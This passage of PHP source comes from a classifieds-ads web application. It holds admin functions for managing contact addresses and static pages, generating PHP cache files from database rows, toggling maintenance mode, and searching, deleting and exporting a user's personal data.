			$req->bindValue('title_lang', $array['title_'. $code_lang]);
			$req->bindValue('message_lang', $array['message_'. $code_lang]);
			$req->execute();
		}	
	}
	
	return true;	
}

////////////////////////////////
//Caching automatic mail
/////////////////////////////////

function create_cache_mails_auto()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."mails_auto ORDER BY type";
	$req = $bdd->prepare($sql);
	
	$req->execute();

	$result = $req->fetchAll();
	
$cache_mails_auto = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Mails auto
////////////////////////////////// '. "\n" .' 
$cache_mails_auto = array(';
	
	foreach($result as $v)
	{
		$id_mail = (int) $v['id_mail'];
		$name = addslashes($v['name']);
		$email = addslashes($v['email']);
		$type = (int) $v['type'];
		
		$sql = "SELECT * FROM ". PREFIX ."mails_auto_lang WHERE id_mail = :id_mail ORDER BY id_mail_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_mail', $id_mail);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		
$cache_mails_auto .= ''. "\n" .''. $id_mail .'=>
array(
\'id_mail\'  	=> \''. $id_mail .'\',
\'name\'       	=> \''. $name .'\',
\'email\'     	=> \''. $email .'\',';

foreach($result as $v)
{
	$cache_mails_auto .= ''. "\n" .'\'title_'. $v['code_lang'] .'\' => \''. addslashes($v['title_lang']) .'\',
\'message_'. $v['code_lang'] .'\' => \''. addslashes($v['message_lang']) .'\',';
}

$cache_mails_auto .= ''. "\n" .'\'type\'       => \''. $type .'\',
),';
	}
	
$cache_mails_auto .= ''. "\n" .');';
	
	file_put_contents(__DIR__.'/cache/cache_mails_auto.php', $cache_mails_auto);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate(__DIR__.'/cache/cache_mails_auto.php');

	return true;
}

///////////////////////////////////
//Create contact
//////////////////////////////////
	
function create_contact($array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."mails_contact VALUES(NULL, (SELECT * FROM (SELECT IFNULL(MAX(pos_cont), 0) FROM ". PREFIX ."mails_contact) imaginary_table) + 1, :email)";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('email', $array['email']);
	$req->execute();
	$req->closeCursor();
	
	$id_cont = $bdd->lastInsertId();
	
	$sql = "INSERT INTO ". PREFIX ."mails_contact_lang VALUES(NULL, :id_cont, :code_lang, :name_contact_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_cont', $id_cont);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('name_contact_lang', $array['name_'. $code_lang]);
			$req->execute();
		}	
	}
	
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Caching contacts
/////////////////////////////////

function create_cache_mails_contact()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."mails_contact ORDER BY pos_cont";
	$req = $bdd->prepare($sql);
	
	$req->execute();

	$result = $req->fetchAll();
	
$cache_mails_contact = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Mails contact
////////////////////////////////// '. "\n" .' 
$cache_mails_contact = array(';
	
	foreach($result as $v)
	{
		$id_cont = (int) $v['id_cont'];
		$pos_cont = (int) $v['pos_cont'];
		$email = addslashes($v['email']);
		
		$sql = "SELECT * FROM ". PREFIX ."mails_contact_lang WHERE id_cont = :id_cont ORDER BY id_cont_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_cont', $id_cont);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		
		
$cache_mails_contact .= ''. "\n" .''. $id_cont .'=>
array(
\'id_cont\'  => \''. $id_cont .'\',
\'pos_cont\'  => \''. $pos_cont .'\',';

foreach($result as $v)
{
	$cache_mails_contact .= ''. "\n" .'\'name_contact_'. $v['code_lang'] .'\' => \''. addslashes($v['name_contact_lang']) .'\',';
}

$cache_mails_contact .= ''. "\n" .'\'email\'       => \''. $email .'\',
),';
	}
	
$cache_mails_contact .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_mails_contact.php', $cache_mails_contact);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_mails_contact.php');	

	return true;
}
	
///////////////////////////////////
//Update contact
//////////////////////////////////
	
function update_contact($array, $id_cont)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."mails_contact SET email = :email WHERE id_cont = :id_cont";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('email', $array['email']);
	$req->bindValue('id_cont', $id_cont);
	$req->execute();
	$req->closeCursor();
	
	$sql = "INSERT INTO ". PREFIX ."mails_contact_lang values(NULL, :id_cont, :code_lang, :name_contact_lang) ON DUPLICATE KEY UPDATE name_contact_lang = VALUES(name_contact_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_cont', $id_cont);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('name_contact_lang', $array['name_'. $code_lang]);
			$req->execute();
		}	
	}
	
	$req->closeCursor();
	
	return true;
}	
	
///////////////////////////////////
//Delete contact
//////////////////////////////////

function delete_contact($id_cont)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."mails_contact SET pos_cont = (pos_cont - 1) WHERE pos_cont > (SELECT * FROM (SELECT pos_cont FROM ". PREFIX ."mails_contact WHERE id_cont = :id_cont) imaginary_table)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_cont', $id_cont);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."mails_contact WHERE id_cont = :id_cont";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_cont', $id_cont);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."mails_contact_lang WHERE id_cont = :id_cont";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_cont', $id_cont);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

///////////////////////////////////
//Create page
//////////////////////////////////
	
function create_page($array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$edition = 1;
	
	$sql = "INSERT INTO ". PREFIX ."pages values(NULL, (SELECT * FROM (SELECT IFNULL(MAX(pos_page), 0) FROM ". PREFIX ."pages) imaginary_table) + 1, :edition)";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('edition', $edition);
	$req->execute();
	$req->closeCursor();
	
	$id_page = $bdd->lastInsertId();
	
	$sql = "INSERT INTO ". PREFIX ."pages_lang VALUES(NULL, :id_page, :code_lang, :name_page_lang, :text_page_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_page', $id_page);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('name_page_lang', $array['name_'. $code_lang]);
			$req->bindValue('text_page_lang', $array['text_'. $code_lang]);
			$req->execute();
		}	
	}
	
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Caching pages
/////////////////////////////////

function create_cache_pages()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."pages ORDER BY pos_page";
	$req = $bdd->prepare($sql);
	
	$req->execute();

	$result = $req->fetchAll();
	
$cache_pages = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Mails pages
////////////////////////////////// '. "\n" .' 
$cache_pages = array(';
	
	foreach($result as $v)
	{
		$id_page = (int) $v['id_page'];
		$pos_page = addslashes($v['pos_page']);
		$edition = (int) $v['edition'];
		
		$sql = "SELECT * FROM ". PREFIX ."pages_lang WHERE id_page = :id_page ORDER BY id_page_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_page', $id_page);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		
		
$cache_pages .= ''. "\n" .''. $id_page .'=>
array(
\'id_page\'  => \''. $id_page .'\',
\'pos_page\'  => \''. $pos_page .'\',';

foreach($result as $v)
{
	$cache_pages .= ''. "\n" .'\'name_page_'. $v['code_lang'] .'\' => \''. addslashes($v['name_page_lang']) .'\',';
	$cache_pages .= ''. "\n" .'\'text_page_'. $v['code_lang'] .'\' => \''. addslashes($v['text_page_lang']) .'\',';
}

$cache_pages .= ''. "\n" .'\'edition\'       => \''. $edition .'\',
),';
	}
	
$cache_pages .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_pages.php', $cache_pages);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_pages.php');

	return true;
}

////////////////////////////////
//Update page
//////////////////////////////////

function update_page($array, $id_page)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$edition = 1;
	
	$sql = "UPDATE ". PREFIX ."pages SET edition = :edition WHERE id_page = :id_page";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('edition', $edition);
	$req->bindValue('id_page', $id_page);
	$req->execute();
	$req->closeCursor();
	
	$sql = "INSERT INTO ". PREFIX ."pages_lang values(NULL, :id_page, :code_lang, :name_page_lang, :text_page_lang) ON DUPLICATE KEY UPDATE name_page_lang = VALUES(name_page_lang), text_page_lang = VALUES(text_page_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_page', $id_page);
			$req->bindValue('code_lang', $code_lang);
			$req->bindValue('name_page_lang', $array['name_'. $code_lang]);
			$req->bindValue('text_page_lang', $array['text_'. $code_lang]);
			$req->execute();
		}	
	}
	
	$req->closeCursor();
	
	return true;					
}

///////////////////////////////////
//Delete page
//////////////////////////////////

function delete_page($id_page)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."pages SET pos_page = (pos_page - 1) WHERE pos_page > (SELECT * FROM (SELECT pos_page FROM ". PREFIX ."pages WHERE id_page = :id_page) imaginary_table)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_page', $id_page);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."pages WHERE id_page = :id_page";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_page', $id_page);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."pages_lang WHERE id_page = :id_page";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('id_page', $id_page);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Caching maintenance
/////////////////////////////////

function create_cache_maintenance($array)
{
	$active = (!empty($array['active'])) ? (int) $array['active'] : 0;
	$ip = addslashes($array['ip']);
	
$param_maintenance = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Maintenance
////////////////////////////////// '. "\n" .' 
$cache_maintenance = array(
\'active\'      =>	\''. $active .'\',
\'ip\'         =>	\''. $ip .'\',
);';
	
	file_put_contents('../includes/cache/cache_maintenance.php', $param_maintenance);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_maintenance.php');	

	return true;
}

///////////////////////////////////
///Search user data
///////////////////////////////////

function search_user_data($data) {
	global $conn;
	$bdd = $conn;
	$result = array();
	if(!empty($data['name']) || !empty($data['firstname']) || !empty($data['email'])) {
		$account_sql = 'SELECT name, first_name, email FROM '.PREFIX.'accounts WHERE';
		if(!empty($data['name'])) $account_sql .= ' name = :name OR';
		if(!empty($data['firstname'])) $account_sql .= ' first_name = :firstname OR';
		if(!empty($data['email'])) $account_sql .= ' email = :email OR';
		$req = $bdd->prepare(substr($account_sql, 0, -3));
		if(!empty($data['name'])) $req->bindValue('name', $data['name']);
		if(!empty($data['firstname'])) $req->bindValue('firstname', $data['firstname']);
		if(!empty($data['email'])) $req->bindValue('email', $data['email']);
		$req->execute();
		$account_result = $req->fetchAll();
		$req->closeCursor();
		if(!$account_result) {
			$ads_sql = 'SELECT name, email FROM '.PREFIX.'ads WHERE';
			$search = !empty($data['name']) ? $data['name'].(!empty($data['firstname']) ? ' '.$data['firstname'] : '%') : null;
			if($search) $ads_sql .= ' name LIKE :name OR';
			if(!empty($data['email'])) $ads_sql .= ' email = :email OR';
			$ads_sql = substr($ads_sql, 0, -3).' LIMIT 1';
			$req = $bdd->prepare($ads_sql);
			if(!empty($data['name'])) $req->bindValue('name', $search);
			if(!empty($data['email'])) 	$req->bindValue('email', $data['email']);
			$req->execute();
			$ads_result = $req->fetchAll();
			$req->closeCursor();
			if(!$ads_result) {
				$ads_comments_sql = 'SELECT pseudo, email FROM '.PREFIX.'ads_comments WHERE';
				$search = !empty($data['name']) ? $data['name'].(!empty($data['firstname']) ? ' '.$data['firstname'] : '%') : null;
				if($search) $ads_comments_sql .= ' pseudo LIKE :pseudo OR';
				if(!empty($data['email'])) $ads_comments_sql .= ' email = :email OR';
				$ads_comments_sql = substr($ads_comments_sql, 0, -3).' LIMIT 1';
				$req = $bdd->prepare($ads_comments_sql);
				if($search) $req->bindValue('pseudo', $search);
				if(!empty($data['email'])) $req->bindValue('email', $data['email']);
				$req->execute();
				$ads_comments_result = $req->fetchAll();
				$req->closeCursor();
				if(!$ads_comments_result) {
					$shops_comments_sql = 'SELECT pseudo, email FROM '.PREFIX.'shops_comments WHERE';
					$search = !empty($data['name']) ? $data['name'].(!empty($data['firstname']) ? ' '.$data['firstname'] : '%') : null;
					if($search) $shops_comments_sql .= ' pseudo LIKE :pseudo OR';
					if(!empty($data['email'])) $shops_comments_sql .= ' email = :email OR';
					$shops_comments_sql = substr($shops_comments_sql, 0, -3).' LIMIT 1';
					$req = $bdd->prepare($shops_comments_sql);
					if($search) $req->bindValue('pseudo', $search);
					if(!empty($data['email'])) $req->bindValue('email', $data['email']);
					$req->execute();
					$shops_comments_result = $req->fetchAll();
					$req->closeCursor();
					if(!$shops_comments_result) {
						$mail_filter_sql = 'SELECT name, email FROM '.PREFIX.'mail_filter WHERE';
						$search = !empty($data['name']) ? $data['name'].(!empty($data['firstname']) ? ' '.$data['firstname'] : '%') : null;
						if($search) $mail_filter_sql .= ' name LIKE :name OR';
						if(!empty($data['email'])) $mail_filter_sql .= ' email = :email OR';
						$mail_filter_sql = substr($mail_filter_sql, 0, -3).' LIMIT 1';
						$req = $bdd->prepare($mail_filter_sql);
						if($search) $req->bindValue('name', $search);
						if(!empty($data['email'])) $req->bindValue('email', $data['email']);
						$req->execute();
						$mail_filter_result = $req->fetchAll();
						$req->closeCursor();
						if(!$mail_filter_result && !empty($data['email'])) {
							$blacklist_sql = 'SELECT email FROM '.PREFIX.'blacklist WHERE email = :email';
							$req = $bdd->prepare($blacklist_sql);
							if(!empty($data['email'])) $req->bindValue('email', $data['email']);
							$req->execute();
							$result = $req->fetchAll();
							$req->closeCursor();
						} else $result = $mail_filter_result;
					} else $result = $shops_comments_result;
				} else $result = $ads_comments_result;
			} else $result = $ads_result;
		} else $result = $account_result;
	}
	return $result;
}

///////////////////////////////////
///Delete user data
///////////////////////////////////

function delete_user_data($email) {
	global $conn;
	$bdd = $conn;
	$sql = 'SELECT id_acc FROM '.PREFIX.'accounts WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$account = $req->fetch();
	$req->closeCursor();
	$id_acc = $account && isset($account['id_acc']) ? $account['id_acc'] : null;
	if($id_acc) delete_acc($id_acc);
	$sql = 'SELECT id_ad FROM '.PREFIX.'ads WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$ads = $req->fetchAll();
	$req->closeCursor();
	if($ads && is_array($ads)) {
		foreach($ads as $ad) {
			delete_ad_adm($ad['id_ad']);
		}
		get_nb_ads();
	}
	$sql = 'DELETE FROM '.PREFIX.'ads_comments WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$req->closeCursor();
	$sql = 'DELETE FROM '.PREFIX.'shops_comments WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$req->closeCursor();
	$sql = 'DELETE FROM '.PREFIX.'mail_filter WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$req->closeCursor();
	return true;
}

///////////////////////////////////
///Return all user's personnal informations
///////////////////////////////////

function export_user_data($email) {
	global $conn;
	$bdd = $conn;
	$id_acc = null;
	$id_shop = null;
	$id_ads = array();
	$result = array('account' => array(), 'ads' => array(), 'shop' => array(), 'comments' => array(), 'messages' => array(), 'orders' => array(), 'invoices' => array(), 'blacklist' => array());
	$sql = 'SELECT id_acc, comp_name, comp_num, civility, name, first_name as firstname, pseudo, address, postcode, city, phone, email, ip FROM '.PREFIX.'accounts WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$account = $req->fetch(PDO::FETCH_ASSOC);
	$req->closeCursor();
	if($account && !empty($account['id_acc'])) {
		$result['account'] = $account;
		$id_acc = $account['id_acc'];
		$sql = 'SELECT id_shop, name, address, postcode, city, website, lat, lng FROM '.PREFIX.'shops WHERE id_acc = :id_acc';
		$req = $bdd->prepare($sql);
		$req->bindValue('id_acc', $account['id_acc']);
		$req->execute();
		$shop = $req->fetch(PDO::FETCH_ASSOC);
		$req->closeCursor();
		if($shop && !empty($shop['id_shop'])) {
			$result['shop'] = $shop;
			$id_shop = $shop['id_shop'];
		}
	}
	$sql = 'SELECT a.id_ad, c.comp_name, c.comp_num, a.name, a.email, s.postcode, a.city, s.lat, s.lng, a.phone, a.ip FROM '.PREFIX.'ads a LEFT JOIN '.PREFIX.'ads_search s ON a.id_ad = s.id_ad LEFT JOIN '.PREFIX.'ads_compagny c ON a.id_ad = c.id_ad WHERE a.email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$ads = $req->fetchAll(PDO::FETCH_ASSOC);
	$req->closeCursor();
	if($ads && !empty($ads)) {
		$result['ads'] = $ads;
		foreach($ads as $ad) $id_ads[] = $ad['id_ad'];
	}
	$sql = 'SELECT id_com as id_coma, pseudo, title as comment_name, text as comment, email, ip FROM '.PREFIX.'ads_comments WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$comments = $req->fetchAll(PDO::FETCH_ASSOC);
	$req->closeCursor();
	if($comments && !empty($comments)) $result['comments'] = $comments;
	$sql = 'SELECT id_com as id_comb, pseudo, title as comment_name, text as comment, email, ip FROM '.PREFIX.'shops_comments WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$comments = $req->fetchAll(PDO::FETCH_ASSOC);
	$req->closeCursor();
	if($comments && !empty($comments)) $result['comments'] = array_merge($result['comments'], $comments);
	$sql = 'SELECT id_mail, name, email, phone, message, ip FROM '.PREFIX.'mail_filter WHERE email = :email';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$mails = $req->fetchAll(PDO::FETCH_ASSOC);
	$req->closeCursor();
	if($mails && !empty($mails)) $result['messages'] = $mails;
	$sql = 'SELECT email FROM '.PREFIX.'blacklist';
	$req = $bdd->prepare($sql);
	$req->bindValue('email', $email);
	$req->execute();
	$blacklist = $req->fetch(PDO::FETCH_ASSOC);
	$req->closeCursor();
	if($blacklist && !empty($blacklist['email'])) $result['blacklist'] = $blacklist;
	if($id_acc) {
		$sql = 'SELECT p.id_purch, o.company as comp_name, o.name, o.firstname, o.address, o.postcode, o.city FROM '.PREFIX.'purchases p LEFT JOIN '.PREFIX.'purchases_options o ON p.id_purch = o.id_purch WHERE p.id_acc = :id_acc';
		$req = $bdd->prepare($sql);
		$req->bindValue('id_acc', $id_acc);
		$req->execute();
		$purchases = $req->fetchAll(PDO::FETCH_ASSOC);
		$req->closeCursor();
		if($purchases && !empty($purchases)) $result['orders'] = $purchases;
	}
	if($id_shop) {
		$sql = 'SELECT p.id_purch, o.company as comp_name, o.name, o.firstname, o.address, o.postcode, o.city FROM '.PREFIX.'purchases p LEFT JOIN '.PREFIX.'purchases_options o ON p.id_purch = o.id_purch WHERE p.id_shop = :id_shop';
		$req = $bdd->prepare($sql);
		$req->bindValue('id_shop', $id_shop);
		$req->execute();
		$purchases = $req->fetchAll(PDO::FETCH_ASSOC);
		$req->closeCursor();
		if($purchases && !empty($purchases)) $result['orders'] = array_merge($result['orders'], $purchases);
	}
	if(!empty($id_ads)) {
		$sql = 'SELECT p.id_purch, o.company as comp_name, o.name, o.firstname, o.address, o.postcode, o.city FROM '.PREFIX.'purchases p LEFT JOIN '.PREFIX.'purchases_options o ON p.id_purch = o.id_purch WHERE p.id_ad IN('.implode(',', $id_ads).')';
		$req = $bdd->prepare($sql);
		$req->execute();
		$purchases = $req->fetchAll(PDO::FETCH_ASSOC);
		$req->closeCursor();
		if($purchases && !empty($purchases)) $result['orders'] = array_merge($result['orders'], $purchases);
	}
	if($id_acc) {
		$sql = 'SELECT p.id_inv, o.company as comp_name, o.name, o.firstname, o.address, o.postcode, o.city FROM '.PREFIX.'invoices p LEFT JOIN '.PREFIX.'invoices_options o ON p.id_inv = o.id_inv WHERE p.id_acc = :id_acc';
		$req = $bdd->prepare($sql);
		$req->bindValue('id_acc', $id_acc);
		$req->execute();
		$invoices = $req->fetchAll(PDO::FETCH_ASSOC);
		$req->closeCursor();
		if($invoices && !empty($invoices)) $result['invoices'] = $invoices;
	}
	if(!empty($id_ads)) {
		$sql = 'SELECT p.id_inv, o.company as comp_name, o.name, o.firstname, o.address, o.postcode, o.city FROM '.PREFIX.'invoices p LEFT JOIN '.PREFIX.'invoices_options o ON p.id_inv = o.id_inv WHERE p.id_ad IN('.implode(',', $id_ads).')';
		$req = $bdd->prepare($sql);
		$req->execute();
		$invoices = $req->fetchAll(PDO::FETCH_ASSOC);
		$req->closeCursor();
		if($invoices && !empty($invoices)) $result['invoices'] = array_merge($result['invoices'], $invoices);
	}
	return $result;
}

///////////////////////////////////
///Update htaccess file with new code lang
///////////////////////////////////

function update_htaccess() {
	global $conn;
	$bdd = $conn;
	$old_file = __DIR__.'/../.htaccess';
	if(file_exists($old_file)) {
		if(copy($old_file, __DIR__.'/../.htaccess.old')) {
			$to_replace = '';
			$req = $bdd->prepare('SELECT code_lang FROM '.PREFIX.'lang');
			$req->execute();
			$languages = $req->fetchAll(PDO::FETCH_ASSOC);
			$req->closeCursor();
			foreach($languages as $lang) $to_replace .= $lang['code_lang'].'|';
			$to_replace = substr($to_replace, 0, -1);
			$content = file_get_contents($old_file);
			$new_content = preg_replace('#(\^\(([a-z|]*?)\))#i', '^('.$to_replace.')', $content);
			file_put_contents($old_file, $new_content);
			if(function_exists('opcache_invalidate'))
				opcache_invalidate($old_file);
		}
	}
}